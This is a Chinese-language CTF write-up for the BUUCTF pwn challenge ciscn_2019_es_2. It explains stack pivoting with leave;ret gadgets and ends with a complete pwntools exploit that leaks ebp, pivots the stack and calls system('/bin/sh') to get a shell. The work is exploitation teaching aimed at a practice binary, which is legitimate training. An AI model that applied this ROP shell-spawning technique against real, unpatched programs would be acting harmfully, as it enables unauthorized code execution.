[BUUCTF-pwn]——ciscn_2019_es_2(内涵peak小知识)
[BUUCTF-pwn]——ciscn_2019_es_2
- 題目地址: https://buuoj.cn/challenges#ciscn_2019_es_2
- 這是一道棧劫持的題,第一次寫這種題的題解寫的詳細一點。
peak小知識
棧劫持也可以稱為棧遷移,用來解決棧本身可以利用的空間不夠用,一般是溢出空間不夠用,沒辦法有效構造rop鏈。這個時候我們可以通過劫持ebp的方式,利用leave 和 ret兩個匯編指令來做到棧劫持(棧遷移)。
leave 等價于 mov ebp, esp; pop ebp; ret 等價于 pop eip;下面我來通過這道例題來詳細講解一下。
講解
老規矩先checksec 一下
在IDA中查看一下,main函數沒有什么。
在vul函數中, 0x30 - 0x28 = 8,意味著我們只可以覆蓋ebp和返回地址, 可利用棧空間不足
那么我們就可以將rop鏈寫到棧上,再將棧劫持到我們寫的地方就可以了。
首先我們需要泄露出來一個地址,然后計算偏移來確認我們需要劫持的地址。
所以我們可以先將exploit先這樣寫出來, leave;ret;指令可以在IDA中找,也可以用ROPgadget查找。其實我們是執行了兩次 leave;ret;一次是函數結束時自己調用的一次是我們設置的返回地址,第一次主要是leave指令目的是改變ebp的值,第二次目的是ret指令,執行我們劫持到的地址
其中,this的地址是我們需要劫持到的地址,這樣sys_addr就可以作為返回地址來執行了。that是我們需要尋找的’/bin/sh’字符串的地址。
在pwndbg中找到偏移, distance第一個數值,是泄露的ebp地址, 可以在終端查看
所以最終的exploit為
exploit
from pwn import * #p = remote("node3.buuoj.cn",27236) p = process("./ciscn_2019_es_2") #gdb.attach(p, "b *0x080485FC") sys_addr = 0x8048400 leave_ret = 0x080484b8 payload = 'a' * 0x27 + 'p' p.send(payload) p.recvuntil('p') ebp = u32(p.recv(4)) print hex(ebp) payload = ('this'+p32(sys_addr)+'aaaa'+p32(ebp-0x28)+'/bin/sh\x00').ljust(0x28,'p')+p32(ebp-0x38) + p32(leave_ret)#指向'/bin/sh' #指向this,也就是我們棧劫持的地方 p.send(payload) p.interactive()總結
以上是生活随笔為你收集整理的[BUUCTF-pwn]——ciscn_2019_es_2(内涵peak小知识)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [BUUCTF-pwn]——ez_pz_
- 下一篇: [Jarvis OJ - PWN]——S